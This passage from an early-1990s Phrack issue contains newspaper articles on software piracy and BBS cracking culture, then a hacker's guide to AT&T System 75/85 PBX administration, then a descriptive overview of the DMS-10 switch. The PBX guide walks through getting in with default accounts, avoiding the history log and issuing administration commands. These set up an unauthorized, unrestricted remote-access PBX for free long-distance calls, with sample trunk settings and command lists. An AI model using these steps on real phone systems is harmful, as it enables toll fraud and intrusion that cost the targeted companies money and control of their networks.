- software tool called a "compiler." A compiler translates computer code written
- in a language such as Basic, C or Pascal into the binary code that the computer
- can process.
-
- Once they had written their programs, they included a set of instructions in a
- text file and a message asking those who liked the software to pay a fee and
- get the benefits of being a "registered" user. They then passed out copies to
- friends, uploaded them to computer bulletin boards and made them available to
- software libraries. Everyone was encouraged to use the software -- and to pass
- it on.
-
- The ease with which the programs can be copied was, far from a problem for
- these developers, the very means of distribution. It cost them nothing and
- they stood to gain if people thought their program good enough to use. And
- gain they have. Both PC-Write and ProComm have made a lot of money as
- shareware, and advanced versions have now been released through commercial
- channels.
-
- The point here is not that it's okay to pirate software. It's not, and it's
- particularly dishonest to use a stolen program for commercial purposes. The
- practice of buying one copy for an entire office and having everybody copy it
- and use the same manual is disgraceful. Software may be expensive, but it's a
- deductible business expense and worth the price.
-
- At the same time, it's not such a bad thing to use an unauthorized copy as a
- way of trying out a program before you buy it. The shareware industry's
- success has proved that can even help sales.
- _______________________________________________________________________________
-
- No Hiding From The Software Police October 28, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- By Elizabeth Weise (The Seattle Times)(Page B9)(Associated Press)
-
- One call to the Piracy Hotline is all it takes for the Software Police to come
- knocking at your computers. Parametrix Inc. of Seattle found that out last
- year when the Software Police, also known as the Software Publishers
- Association, showed up with a search warrant and a U.S marshal to audit their
- computers. The search turned up dozens of copies of unauthorized software
- programs and meant a penalty of $350,000 for Parametrix.
-
- The SPA says too many companies "softlift" -- buying only one copy of a program
- they need and making copies for as many computers as they have.
-
- It seems so easy -- and it's just as easy to get caught.
-
- "It only takes one phone call to the 800 number to get the ball rolling.
- Anyone taking that chance is living on borrowed time," said Peter Beruk,
- litigation manager for the Washington D.C.-based SPA. "You can run, but you
- can't hide." And the stakes are getting higher. A bill is before President
- Bush that would elevate commercial software piracy from a misdemeanor to a
- felony. The law would impose prison terms of up to five years and fines of up
- to $250,000 for anyone convicted for stealing at least 10 copies of a program,
- or more than $2,500 worth of software.
-
- Those in the computer industry say softlifting will be hard to prevent unless
- programmers are better policed. AutoDesk Retail Products in Kirkland has met
- obstacles in educating its staff on the law. AutoDesk makes computer-assisted
- drawing programs. "The problem is that you end up employing people who don't
- want to follow convention," AutoDesk manager John Davison said. "We hire
- hackers. To them it's not stealing, they just want to play with the programs.
- "You got a computer, you got a hacker, you got a problem." Bootlegging results
- in an estimated loss of $2.4 million to U.S. software publishers each year,
- Beruk said. That's out of annual sales of between $6 billion and $7 billion.
- "For every legal copy of a program sold, there's an unauthorized copy of it in
- use on an everyday basis," Beruk said. As SPA and its member companies see it,
- that's theft, plain and simple.
-
- SPA was founded in 1984. One of its purposes: to enforce copyright
- infringement law for software manufacturers. Since then it has conducted 75
- raids and filed about 300 lawsuits, Beruk said. Several of the larger raids
- have been in the Northwest. The SPA settled a copyright lawsuit against
- Olympia-based U.S. Intelco for $50,000 in May. Last year, the University of
- Oregon Continuation Center in Eugene, Oregon, agreed to pay $130,000 and host a
- national conference on copyright law and software use as part of a negotiated
- settlement with SPA. The tip-off call often comes to SPA's toll-free Piracy
- Hotline. It's often disgruntled employees, or ex-employees, reporting that the
- company is running illegal copies of software programs, Beruk said.
-
- At Parametrix, an investigation backed up the initial report and SPA got a
- search warrant, Beruk said. President Wait Dalrymple said the company now does
- a quarterly inventory of each computer. The company brings in an independent
- company once a year to check for unauthorized programs.
-
- Softlifting, Dalrymple said, can be an easy tangle to get into. "Our company
- had had extremely rapid growth coupled with similar growth in the number of
- computers we use," he said. "We had no policy regarding the use of our
- software and simply didn't control what was happening."
-
- Making bootleg copies of software is copyright infringement, and it's as
- illegal -- and as easy -- as copying a cassette tape or a video tape. The
- difference is in magnitude. A cassette costs $8, a video maybe $25, while
- computer programs can cost hundreds and even thousands of dollars. Audio and
- video tapes come with FBI warnings of arrest for illegal copying. Software
- comes with a notice of copyright penalties right on the box. But despite such
- threats, softlifting isn't taken seriously, said Julie Schaeffer, director of
- the Washington Software Association. "It's really in the same arena of
- intellectual property," Schaeffer said. "But people don't think about the
- hours and hours of work that goes into writing a program."
-
- The Boeing Co. in Seattle is one company that tries hard not to break the law.
- It has a department of Software Accountability, which monitors compliance with
- software licensing.
-
- AutoDesk resorts to a physical inventory of the software manuals that go with a
- given program. If programmers don't have the manuals in their work cubicles,
- they can be fined $50.
-
- The SPA itself said the problem is more one of education than enforcement.
- "Because copying software is so easy and because license agreements can be
- confusing, many people don't realize they're breaking the law," the SPA said.
-
- Feigning ignorance of the law doesn't help. With Microsoft products, a user is
- liable as soon as the seal on a package of software is broken. "At that point
- you've agreed to Microsoft's licensing agreement under copyright law,"
- Microsoft spokeswoman Katy Erlich said. "It says so right on the package."
- _______________________________________________________________________________
-
- Teenage Pirates and the Junior Underworld December 11, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Justin Keery (The Independent)(Page 31)
-
- "By the end of the year, any schoolboy with
- a computer who wants Sex will get it."
-
- The first print-run of 100,000 copies of Madonna's Sex has sold out. A further
- 120,000 will be printed before Christmas, and bookshops have ordered every last
- one. But parents beware... around 5,000 school children have their own copy,
- and the number is growing rapidly as floppy disks are circulated in
- playgrounds.
-
- Viewing the disk edition on a computer reveals television-quality images from
- the book -- the text, it seems, is deemed superfluous. In disk form the
- pictures can be copied and traded for video games, credibility or hard cash in
- a thriving underground marketplace. By the end of the year, any schoolboy with
- a computer who wants Sex will get it. The unlucky will catch a sexually
- transmitted disease in the process -- the Disaster Master virus, found on the
- Independent's copy.
-
- Sex is a special-interest area in the thriving junior underworld of software
- trading. Circulation of Madonna's pictures among minors with neither the
- budget nor the facial hair to buy Sex gives Madonna's publishers little cause
- to fear loss of sales. Neither Secker & Warburg in London nor Time-Warner in
- New York knew of the unofficial digital edition. But the publishers of
- computer video games have much to lose from playground transactions.
-
- Sex is not doing a roaring trade, said one schoolboy trader. Video games, with
- price-tags of up to pounds 40, are what every child wants, but few can afford.
- But who needs to buy, when your classmates will trade copies of the latest
- titles for another game, a glimpse of Madonna or a humble pound coin?
-
- Games disks are usually uncopyable. Skilled programmers "crack" the
- protection, as an intellectual challenge and a way of gaining respect in an
- exclusive scene, add "training" options such as extra lives, and post this
- version on a computer bulletin board -- a computer system attached to a
- telephone line where people log in to trade their "wares".
-
- Most bulletin boards (BBSs) are friendly places where computer freaks exchange
- tips, messages and "public domain" programs, made available by their authors
- free of charge. But illegitimate operators, or SysOps, look down on "lame"
- legal boards, and "nuke" any public domain material submitted to their systems.
-
- The larger pirate boards are the headquarters of a cracking group -- often in a
- 15-year-old's bedroom. There are perhaps 100 in Britain. Cracked games and
- "demos" publicize phone numbers, and a warning is issued that copyright
- software should not be posted --a disclaimer of questionable legality. New
- members are asked if they represent law enforcement agencies. According to a
- warning message on one board, at least one BBS in the United States is operated
- by the FBI.
-
- Your account at a board may not allow you to download until you upload wares of
- sufficient quality. Games are considered old after a week, so sexy images,
- "demos" or lists of use to hackers are an alternative trading commodity.
- Available this week, as well as Madonna, are: "lamer's guide to hacking PBXs",
- "Tex" and "Grapevine" -- disk magazines for pirates; and demos -- displays of
- graphical and sound programming prowess accompanied by bragging messages,
- verbal assaults on rival factions and advertisements for BBSs. According to a
- former police officer, the recipes for LSD and high explosives have circulated
- in the past.
-
- The board's "download ratio" determines how many disks are traded for every
- contribution -- usually two megabytes are returned for every megabyte
- contributed. "Leech accounts" (unlimited access with no quotas) are there for
- those foolish enough to spend between pounds 1 and pounds 60 per month. But
- children can sign on using a pseudonym, upload a "fake" -- garbage data to
- increase their credit -- then "leech" as much as possible before they get
- "nuked" from the user list.
-
- The "modem trader" is a nocturnal trawler of BBSs, downloading wares, then
- uploading to other boards. Current modem technology allows users to transfer
- the contents of a disk in 10 minutes. A "card supplier" can provide a stolen
- US or European phone credit card number. The scene knows no language barriers
- or border checks, and international cross-fertilization adds diversity to the
- software in circulation.
-
- Through the unsociable insomniac trader, or the wealthier "lamer" with a paid-
- up "leech account," games reach the playground. The traders and leeches gain
- extra pocket money by selling the disks for as little as pounds 1, and from
- there the trade begins.
-
- Some market-traders have realized the profit potential, obtaining cracked
- software through leech accounts and selling the disks on stalls. Sold at a
- pocket-money price of pounds 1 per disk, many games reach schools. The trading
- of copyright software is illegal but the perpetrators stand little chance of
- getting caught and are unlikely to be prosecuted.
-
- The victims, software houses, suffer real damage. Sales of Commodore Amiga
- computers equal the dedicated games machines -- the Sega Megadrive or Nintendo,
- yet sales of Amiga games (on disk and therefore pirate fodder) often reach only
- one third of the volume of their copy-proof console cartridge counterparts.
- Despite his preference for Amiga technology, Phil Thornton of System 3 Software
- is "seriously reconsidering" future development of Amiga games. Myth, a two-
- year project, sold pitiful amounts. Mr. Thornton was called by a pirate the
- day it was released -- the game was available on a bulletin board. Because of
- piracy, the sequel to the successful Putty will be mastered instead for the
- Nintendo console.
-
- This tactic may not help for long. The cracked Amiga release of Putty carried
- an advertisement (added by pirates) for a Nintendo cartridge "backup" device.
- Transferred to disk, a "pirate-proof" console game can be traded like any
- other. Games for the Nintendo and Sega systems are available on most bulletin
- boards.
-
- Scotland Yard only takes an interest in bulletin boards bearing pornography,
- though most also carry pirate software. Funded by the software industry, the
- Federation Against Software Theft has successfully prosecuted only one board,
- with "more pending."
-
- This Christmas parents will buy hundreds of thousands of video games. Some
- children will ask for modems; thus games will be on the bulletin boards by
- Boxing Day, and the first day of term will see the heaviest trading of the
- year.
-
- AUTHOR'S NOTE: I considered using a pseudonym for this article. Two years
- ago, a Newsweek reporter exposed the North American bulletin
- board network. His credit rating, social security and bank
- files were altered in a campaign of intimidation which included
- death threats. Most of those responsible were 15-year-olds.
- _______________________________________________________________________________
-
- I was going to make a long list of greets, but there are too many people. I
- would like to say thanks again to DFX for throwing a great HoHo Con #3. Great
- job!
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 6 of 13
-
- A Brief Guide to Definity G Series Systems
- a.k.a
- System 75 - 85
-
- Written by Scott Simpson
-
-
- Greets to Jim Anderson, The Missing Link, Randy Hacker, Dark Druid,
- Nickodemus, Mercury, Renegade, Infinity (enjoy the army!), Weirdo, TomCat,
- GarbageHeap, Phrack Inc.
-
-
- Basic History
- ~~~~~~~~~~~~~
- Definity model systems came into existent in the later part of the 1970s. In
- 1983, AT&T came out with a revised model called 75. This system was built to
- hold more incoming lines and did not have as many errors as the earlier version
- did. The 1983 version was replaced with a version re-written in 1986. Today,
- the systems are referred to as G models. System 75 is now called G1 and 85 is
- called G2. A new model is currently available and is called the Definity G3I
- which is Generic 3 with an Intel chip, and Definity G3R which is Generic 3 with
- a Risk chip. There are 3 different versions to each model. Version one is the
- most common and it is an XE Single Carrier Unit. The other two systems are 2
- carriers. A system will usually cost somewhere around 50 to 80 thousand
- dollars. You MIGHT come across a smaller version and it is called "Merlin
- Legend." This system will hold about 50-100 lines. System 75 & 85 will hold
- around 1000 lines. System 75/85 are used by companies to house all of their
- incoming lines, as well as to send their incoming lines to destinations set up
- by the owners, whether it be Audix or any other setup. There are many uses for
- the system besides VMBs and PBXes. System 75/85 has three main functions that
- hackers are interested in. They are the capabilities of VMB, bridging, and of
- course PBX exchanges.
-
-
- Discovering the System
- ~~~~~~~~~~~~~~~~~~~~~~
- When you find a System 75, you will make a 1200/NONE connection (if HST used),
- as most setups have a built in 1200 baud modem. Normally, the controller
- number will not be in the same prefix as the business or the PBX and the line
- is actually owned by AT&T. Try CNAing a System 75 line and it will tell you
- that it is owned by AT&T. Once you find a carrier, you will need to be able to
- display ANSI or some equivalent type of terminal graphics. Most are set to
- N81, but some may be E71. My suggestion is to use ToneLoc which is produced by
- Mucho Maas and Minor Threat. As you know, this program will scan for carriers
- as well as tones. This program can be found on just about every ELEET H/P BBS.
-
-
- Getting into the System
- ~~~~~~~~~~~~~~~~~~~~~~~
- Getting into the system is the easy part if you have the defaults. You must
- find them on your own and you will find out that a lot of people are not
- willing to trade for them. There is one default that will enable you to snoop
- around and tell whether or not they have a PBX, provided that they have not
- changed the password or restricted the account. This one default is usually a
- fully operational account without the privileges of altering any data but I
- have come across a couple of systems where it wouldn't do anything. Using this
- default account is a good way to start if you can find it. It is also good to
- use any time you call and don't plan on changing anything. All actions by this
- account are not kept in the system history file. Now on to the good stuff!!
-
-
- Abusing System 75
- ~~~~~~~~~~~~~~~~~
- After logging into a 75, there are several commands available depending on the
- default you are using. This part will be for the basics. I will explain more
- later for the more advanced people.
-
- When you log in, you will have the commands LIST, DISPLAY, and a couple others
- that don't matter. These are the only ones that you will need with the
- aforementioned default. First type "DIS REM" (display remote access). If
- there is a PBX set up on the system, it will be shown on the extension line.
- The barrier code is the code to the PBX. If "none" appears, there is no code
- and it's just 9+1. The extension line can either be 3 or 4 digits. Usually,
- if it's 3 digits, it is run off of AUDIX (AUDio Information eXchange) or they
- are smart and are hiding the one digit! Look at the dialplan and see if the
- extensions are 3 or 4 digits. If it tells you that the extensions are three
- digits, chances are that it is somewhere in the AUDIX system. If it's run off
- of an AUDIX, look through all of the extensions by either list or display
- 'extensions' until you find one that says something like "remote extension" or
- something that looks different. If the one digit is hidden, use ToneLoc and
- scan for the digit needed. Next, display the trunk groups. This will tell you
- the actual dial-up. If you don't find it here, don't panic. As you go through
- the trunk groups, also look at the incoming destination as well as the night
- destination. If any of these show the remote extension here, there is your
- PBX. If not, keep looking through all of the trunk groups. Write down all of
- the phone numbers it gives you and try them. They can usually be found on page
- three or so.
-
- A LOT of the time, places call forward a back line or so to the actual PBX. If
- there is no remote access extension when you display the remote access, you are
- shit out of luck unless you have a higher default and read the rest of this
- text.
-
-
- Setting Up Your Own PBX
- ~~~~~~~~~~~~~~~~~~~~~~~
- If you have a higher default, you will notice that if you type help, you have
- more commands that are available to you, such as change, download, etc.
- Remember, the company can change the privileges of the defaults so if you
- cannot see these commands, use another default. The first thing you want to do
- is to display the dialplan. This will tell you the amount of digits and the
- first digit of all of the sequences. Here is an example of a dialplan. There
- are several ways the dialplan may look.
-
- Number of Digits
- -------1----2----3----4----5----6----7----8----9
- --
- F 1
- I 2 Tac
- R 3
- S 4 Fac
- T 5
- 6 Extension
- D 7 Extension
- I 8 Tac
- G 9
- I 0 Attendant
- T *
- #
-
- Using the above chart, all extensions will start with either a 6 or 7 and will
- be four digits long. The Tac is two digits, and will start with a 2 or an 8.
- Don't worry about FAC or any others at this time.
-
- After you make note of this, type "ch rem" (change remote access), go to the
- extension line, and put in an extension. Next, find the trunk group that you
- want to use and type "ch tru #". Go to the line for night service and put the
- extension in there. If there is already an extension for night service on all
- of the trunks, don't worry. If not, add it, and then save it. If it says
- invalid extension, you misread the dialplan. If you pick an extension already
- in use, it will tell you so when you try to install it in the remote extension
- line in the remote address. Once all of this is completed, you may go back to
- the remote access and add a code if you like, or you may just enter "none" and
- that will be accepted. THE NEXT PART IS VERY IMPORTANT! Look at the trunk
- that you installed and write down the COR number. Cancel that command and type
- "dis cor #". Make sure that the Facilities Restriction Level (FRL) at the top
- is set to 7 (7 is the least restricted level & 0 is the most) and that under
- calling party restrictions & called party restrictions, the word "none" (lower
- case) is there! If they are not, type "ch cor #" and make the changes. Last,
- type "dis feature". This will display the feature access codes for the system.
- There will be a line that says something like "SMDR Access Code." This will be
- the code that you enter after the barrier code if there is one. I have seen
- some be like *6, etc. Also, there will be, on page 2 I believe, something to
- the like of outside call. usually it is set to 9 but check to be sure. That's
- about it for this segment. All should be fine at this point. For those that
- want a 24 hour PBX, this next section is for you.
-
-
- For those of you that are greedy, and want a 24 hour PBX, most of the steps
- above are the same. The only difference is that you will look through all of
- the trunks until you come across one that has several incoming rotary lines in
- it. Simply write down the port number and the phone number for future
- reference and delete it by using the "ch" command. From the main prompt, type
- "add tru #". For the TAC, enter a correct TAC number. Keep going until you
- get to the COR. Enter a valid one and remember that the FRL should be set to
- 7, etc. Keep going...the next line that is vacant and needs something is the
- incoming destination. Set it to the remote extension that you have created.
- The next vacant line I think is type (towards the middle of the page). Enter
- ground and it should print out "ground-start." If there is a mistake, it will
- not save and it will send you to the line that needs to have something on it.
- After all is done, it will save. After this segment, there is a copy of a
- trunk and what it should look like for the use of a PBX. Next, go to page 3
- and enter the port and phone number that you wrote down earlier. Save all of
- the changes that you have made. This should be all you need.
-
-
- One more way! If you scan through all of the extensions on the system, you may
- find an "open" extension. This extension may be like the phone outside in the
- waiting room or an empty office or whatever. This extension must be a valid
- phone number on their network or must be reachable on their AUDIX for this
- method to work. If you know how to add ports to Audix, this method will be best
- for you since setting up a trunk is not needed. If you find something like
- this, it's usually better to use this as your 24 hour PBX rather than taking
- away a line for several reasons: 1) there are less changes that you must make
- so there will be less data saved in the history file; 2) other people that have
- legal uses for the line won't trip out when they get a dial tone; and 3) the
- company will not notice for some time that they've lost an extension that is
- hardly used! To set it up this way, you must delete the old info on that
- extension by typing "remove extension #". It will then show you the station in
- detail. Save it at that point and it will be deleted. Next go to the remote
- access and enter the extension that you deleted on the remote extension line.
- Next enter a barrier code or "none" if you don't want one. Save it! Doing it
- this way USUALLY does not require a new trunk to be added since the port is
- already in the system but if you run into problems, go back and add it through
- the use of a trunk. You will still have to assign it a "cor" in the remote
- access menu, and remember to make sure that the FRL and the restrictions are
- set correctly as stated as above.
-
-
- In part 2, if there is a demand, I will tell how to make a bridge off of a 75.
- It is a lot more difficult, and requires a lot more reading of the manuals. If
- anyone can obtain the manuals, I would strongly urge them to do so. Also
- potentially in part 2, I will show how to create a VMB. If they have AUDIX
- voice mail, chances are they have a 75!
-
- So happy hunting and see ya soon!
-
- If you need to get a hold of me to ask a question, you may catch me on the nets
- or on IRC.
-
- Enjoy!
-
- Scott Simpson
-
- -------------------------------------------------------------------------------
- APPENDIX A : Example of a Trunk For PBXs
-
- Trunk Group Page 1 of 5
- -----------
-
- Group Number # Group Type: co Smdr Reports: n
-
- Group name: Whatever ya want Cor: # Tac: #
-
- Mis Measured? n
-
- Dial access: y Busy Threshold: 60 Night Service: What will answer
- after hours
-
- Queue length: 0 Abandoned call Search: n Incoming Dest: What will answer
- any time the # is
- called unless NS
- has an extension.
-
- Comm Type: voice Auth Code: n Digit Absorption List:
-
-
- Prefix-1? n Restriction: code Allowed Calls List: n
-
- Trunk-Type: Ground-start
-
- Outgoing Dial type: tone
-
- Trunk Termination: whatever it is Disconnect Timing: Whatever it is
- to. set to.
- ACA Assignments: n
-
-
- [Page 2 is not all that important. It's usually used for all of the
- [maintenance to the trunk etc. so leave it all set to its default setting.]
-
-
- page 3 of 5
- Port Name Mode Type Answer delay
- 1 Port number phone number
- 2
- 3
- etc.
-
-
- That's all that is needed for the trunks.
- -------------------------------------------------------------------------------
- APPENDIX B : Basic Commands and Terms
-
- Basic Terminology
- -----------------
- COR - Class Of Restriction
- FRL - Facilities Restriction Level
- SMDR - Station Message Detail Recording
- TAC - Trunk Access Code
- FAC - Feature Access Code
-
-
- Basic Commands for Default Emulation (513)
- ------------------------------------------
- Esc Ow - Cancel
- Esc [U - Next Page
- Esc SB - Save
- Esc Om - Help
-
-
- Commands for 4410
- -----------------
- Esc Op - Cancel
- Esc Ot - Help
- Esc Ov - Next Page
- Esc Ow - Back Page
- Esc OR - Save
- Esc Oq - Refresh
- Esc Os - Clear Fields
-
- Below is an explanation of all of the commands.
-
- The following is a captured buffer of a login to System 75. I have captured
- the commands and have edited the buffer to include brief definitions of the
- commands.
-
- Display and list are basically the same command, but display shows more
- detailed information on the command that you select. For example, "list tru"
- will list all of the trunk groups in the system. "dis tru" will ask for a
- trunk number, and then display all of the information on that trunk.
-
- CH Help
- Please enter one of the following action command words:
-
- add duplicate save
- change list set
- clear monitor status
- display remove
-
-
- Or enter 'logoff' to logoff the system
- Add - Is pretty self-explanatory
- Change - Is also self-explanatory
- Clear - will clear out the segment
- Duplicate - will duplicate the process
- List - self-explanatory
- Monitor - used for testing, and monitoring the system
- Remove - remove anything from the system EXCEPT the History File! Sorry
- guys!
- Save - saves work done
- Set - sets the time, etc.
- Status - shows current status of the system
-
- List Help
- Please enter one of the following object command words:
- COMMANDS UNDER "LIST"
- abbreviated-dialing groups-of-extension personal-CO-line
- aca-parameters hunt-group pickup-group
- bridged-extensions intercom-group station
- configuration measurements term-ext-group
- coverage modem-pool trunk-group
- data-module performance
-
- Or press CANCEL to cancel the command
- Abbreviated-Dialing: Speed calling feature from their voice terminal
- Aca-parameters: Automatic-Circuit-Assurance
- Bridged Extensions: Used for bridging extensions together
- Configuration: Overall system Configuration
- Coverage: Call Coverage
- Data-module: Description of the data module used
- Groups Of Extensions: Lists all of the extensions available
- Hunt-Group: Checks for active or idle status of extension numbers
- Intercom-group: Lists the intercoms and their info
- Modem-Pool: Allows switched connects between data modules and analog data
- Performance: Shows the performance of the system
- Personal-CO-line: Is for dedicated trunks to or from public terminals
- Pickup-group: Pickup station setup
- Station: Will list all of the available stations assigned
- Term-ext-group: For terminating extension group
- Trunk-Group: Lists ALL of the trunks; will NOT show all details like Display
-
- Dis Help
- Please enter one of the following object command words:
- Commands Under 'Display'
- abbreviated-dialing data-module personal-CO-line
- alarms dialplan pickup-group
- allowed-calls digit-absorption port
- announcements ds1 psc
- attendant errors remote-access
- button-location-aca feature-access-codes route-pattern
- circuit-packs hunt-group station
- code-restriction intercom-group synchronization
- communication-interface ixc-codes system-parameters
- console-parameters listed-directory-numbers term-ext-group
- cor modem-pool time
- cos paging trunk-group
- coverage permissions
-
-
- Or press CANCEL to cancel the command
- Abbreviated Dialing: Covered above, but shows more information
- Alarms: Will show information on the alarms (which ones are on/off)
- Allowed-Calls: Will show LD carrier codes and allowed call list
- Announcements:
- Attendant: Allows attendant to access trunks without voice terminals
- Button-location-aca: Will show the location of the aca selected
- circuit-packs: Tells types of lines used.
- Code-Restriction: Shows restrictions for HNPA and FNPA
- Communication-Interface: Information on the communication interface
- Console-Parameters: Will list the parameters of the console, etc.
- Cor: Class Of Restriction (will show the cor for the # entered)
- Cos: Class Of Service
- Coverage: Shows the coverage of the system (voice terminals, etc.)
- Data-Module: Will show information for the data channels entered
- Dialplan: List the current config for extensions etc.
- Digit-absorption:
- Ds1: Used for tie-trunk services
- Errors: Shows all of the errors on the system
- Feature-Access_Codes: Lists all of the feature access codes for all of the
- features on the entire system
- Hunt-Group: As above, but will tell more information for the # you enter
- Intercom Group: Lists all of the names and their intercom assignments
- IXC-Codes: Inter-eXchange Carrier codes
- Listed-Directory: Lists the numbers in the directory of the system
- Modem-Pool: Will show info on the channel you select (exp baud, parity, etc.)
- Paging: Used for the paging stations on the voice terminals
- Permissions: Will show the privileges of the other accounts/defaults
- Personal-CO-Line: As above but more descriptive
- Pickup-Group: Shows names and extensions in the specified group number
- Port: Will show the info on the port you ask about
- PSC: Keeps a call between to data points connected while the system is active
- Remote-Access: Will show the Remote Access that is there (if any)
- Route-Pattern: The pattern of routing within the voice terminals, etc.
- Station: Will show detailed information on the station # you enter
- Synchronization: Will show the location of the DS1 packs
- System-Parameters: List of all of the available systems parameters
- Term-Ext-Group: As above but more descriptive
- Time: Will show the current time and date
- Trunk-Group: Will show all available information for the trunk you select
- _______________________________________________________________________________
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 7 of 13
-
- How To Build A DMS-10 Switch
-
- by The Cavalier
- Society for the Freedom of Information
-
- March 11, 1992
-
-
- With the telephone network's complexity growing exponentially as the
- decades roll by, it is more important than ever for the telecom enthusiast to
- understand the capabilities and function of a typical Central Office (CO)
- switch. This text file (condensed from several hundred pages of Northern
- Telecom documentation) describes the features and workings of the Digital
- Multiplex Switch (DMS)-10 digital network switch, and with more than an average
- amount of imagination, you could possibly build your own.
-
- The DMS-10 switch is the "little brother" of the DMS-100 switch, and the
- main difference between the two is the line capacity. The DMS line is in
- direct competition to AT&T's ESS line (for the experienced folks, the features
- covered are the as those included in the NT Software Generic Release 405.20 for
- the 400 Series DMS-10 switch).
-
-
- Table of Contents
- ~~~~~~~~~~~~~~~~~
- I. OVERVIEW/CPU HARDWARE SPECS
- II. NETWORK SPECS
- 1. Network Hardware
- 2. Network Software
- 3. Advanced Network Services
- III. EXTERNAL EQUIPMENT SPECS
- 1. Billing Hardware
- 2. Recorded Announcement Units
- 3. Other Misc. Hardware
- IV. MAINTENANCE AND ADMINISTRATION
- 1. OAM
- 2. Interactive Overlay Software Guide
- V. SPEC SHEET
- VI. LIMITED GLOSSARY
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- I. OVERVIEW/CPU HARDWARE SPECS
-
- Overview
-
- The DMS-10 switch is capable of handling up to 10,800 lines, and was
- designed for suburban business centers, office parks, and rural areas. It can
- be installed into a cluster configuration to centralize maintenance and
- administration procedures and to increase combined line capacity to 50,000
- lines. It is capable of functioning as an End Office (EO), an Equal Access End
- Office (EAEO), and an Access Tandem (AT), and is a known as a Class 5 switch.
- It supports up to 3,408 trunks and 16,000 directory numbers. It can outpulse
- in DP (Dial Pulse), MF (Multi-Frequency), or DTMF (Dual-Tone Multi-Frequency),
- insuring compatibility with new and old switches alike (translation -- the
- switch is small, by most standards, but it has massive bounce for the ounce).
-
-
- Hardware Specifications
-
- The DMS-10 switch itself is a 680x0-based computer with 1 MB of RAM in its
- default configuration. The processor and memory are both duplicated; the
- backup processor remains in warm standby. The memory system is known as the
- n+1 system, meaning that the memory is totally duplicated.
-
-
- II. NETWORK SPECS
-
- Network Hardware
-
- The DMS-10 network hardware consists mostly of PEs, or Peripheral
- Equipment trunk and line packs. The PEs take the incoming analog voice
- signals, digitalize them into 8 bit PCM (Pulse Code Modulation) signals, and
- feed it into the main transmission matrix section of the switch. There, it is
- routed to another trunk or line and converted back into an analog signal for
- retransmission over the other side of the call. Note that manipulating voice
- in the digital domain allows the signal to be rerouted, monitored, or
- retransmitted across the country without any reduction in signal quality as
- long as the signals remain in PCM format. <Hint!>
-
-
- Network Software
-
- The DMS-10 has a variety of software available to meet many customers'
- switching needs. A good example of this software is the ability of several
- DMS-10 switches to be set up in a cluster (or star configuration, for those of
- you familiar with network topologies). In this arrangement, one DMS-10 is set
- up as the HSO (Host Switching Office) and up to 16 DMS-10s are set up as SSOs
- (Satellite Switching Offices), allowing all billing, maintenance, and
- administration to be handled from the HSO. Additionally, all satellites can
- function on their own if disconnected from the HSO.
-
- Another feature of the DMS-10's network software are nailed-up
- connections, commonly known as loops. The DMS-10 supports up to 48 loops
- between any two points. The connections are constantly monitored by the switch
- computer, and if any are interrupted, they are re-established.
-
- Meridian Digital Centrex (MDC) is the name given to a group of features
- that enable businesses to enjoy the benefits of having PBX (Private Branch
- Exchange) equipment by simply making a phone call to the local telco.
-
-
- Advanced Network Services (ANS)
-
- If the DMS-10 is upgraded with the 400E 32-bit RISC processor, the switch
- will be able to handle 12,000 lines, enjoy a speed improvement of 80%, support
- a six-fold increase in memory capacity, and, perhaps most importantly, will be
- able to run NT's Advanced Network Services software. This software includes
- Common Channel Signaling 7 (CCS7), Advanced Meridian Digital Centrex, DMS
- SuperNode connectivity, and ISDN. CCS7 is the interswitch signaling protocol
- for Signaling System 7, and the concept deserves another text file entirely
- (see the New Fone eXpress/NFX articles on SS7).
-
-
- III. EXTERNAL EQUIPMENT SPECS
-
- Billing Format Specifications
-
- The DMS-10 can record AMA (Automatic Message Accounting) billing data in
- either Bellcore or Northern Telecom format, and it can save this data in one of
- several ways:
-
- - by saving onto a 9-track 800 BPI (Bits-Per-Inch) density tape drive
- called an MTU (Magnetic Tape Unit)
-
- - by saving onto a IOI (Input/Output Interface) pack with a 64 MB SCSI
- (Small Computer System Interface) hard drive, and transferring to 1600
- BPI tape drives for periodic transport to the RAO (Regional Accounting
- Office)
-
- - by transmitting the data through dial-up or dedicated telephone lines
- with the Cook BMC (Billing Media Converter) II, a hard drive system that
- will transmit the billing records on request directly to the RAO. The
- Cook BMC II supports six different types of transmission formats, listed
- below:
-
- * AMATS (BOC) [max speed: 9600 bps]
- Call records are stored using the Bellcore AMA format and polled
- using the BX.25 protocol. Two polling ports are provided with one
- functioning as a backup.
-
- * BIP Compatible [max speed: 9600 bps (2400*4)]
- Call records are stored using the Bellcore AMA format and polled
- using the HDLC Lap B protocol. Four polling ports are provided
- that can function simultaneously for a combined throughput of 9600
- bps. This specification is compatible with GTE's Billing
- Intermediate Processor.
-
- * Bellcore AMA w/ BiSync polling [max speed: 9600 bps]
- Call records are stored using the Bellcore AMA format and polled
- using the IBM BiSync 3780 protocol. One polling port is provided.
- This option is intended for operating companies who use independent
- data centers or public domain protocols for data processing.
-
- * Bellcore AMA w/ HDLC polling [max speed: 9600 bps]
- Call records are stored using the Bellcore AMA format and polled
- using the HDLC (High-level Data Link Control) protocol. One port
- is provided.
-
- * NT AMA w/ HDLC polling [max speed: 9600 bps]
- Call records are stored using the Northern Telecom AMA format and
- polled using the HDLC protocol.
-
- * NT AMA w/ BiSync polling [max speed: 4800 bps]
- Call records are stored using the Northern Telecom AMA format and
- polled using the BiSync protocol.
-
- - by interfacing with AT&T's AMATS (Automatic Message Accounting
- Teleprocessing System)
-
- - by interfacing with the Telesciences PDU-20
-
- All of the above storage-based systems are fully fault-tolerant, and the
- polled systems can store already-polled data for re-polling.
-
-
- Recorded Announcement Units
-
- The DMS-10 system may be interfaced to one or more recorded announcement
- units through two-wire E&M trunks. Some units supported include the Northern
- Telecom integrated Digital Recorded Announcement Printed Circuit Pack (DRA
- PCP), the Cook Digital Announcer or the Audichron IIS System 2E.
-
- The DRA PCP is integrated with the DMS-10 system, as opposed to the Cook
- and Audichron units, which are external to the switch itself. It provides
- recorded announcements on a plug-in basis and offers the following features:
-
- - Four ports for subscriber access to announcements
- - Immediate connection when pack is idle
- - Ringback tone when busy until a port is free
- - Switch-selectable message lengths (up to 16 seconds)
- - Local and remote access available for message recording
- - Memory can be optionally battery-backed in case of power loss
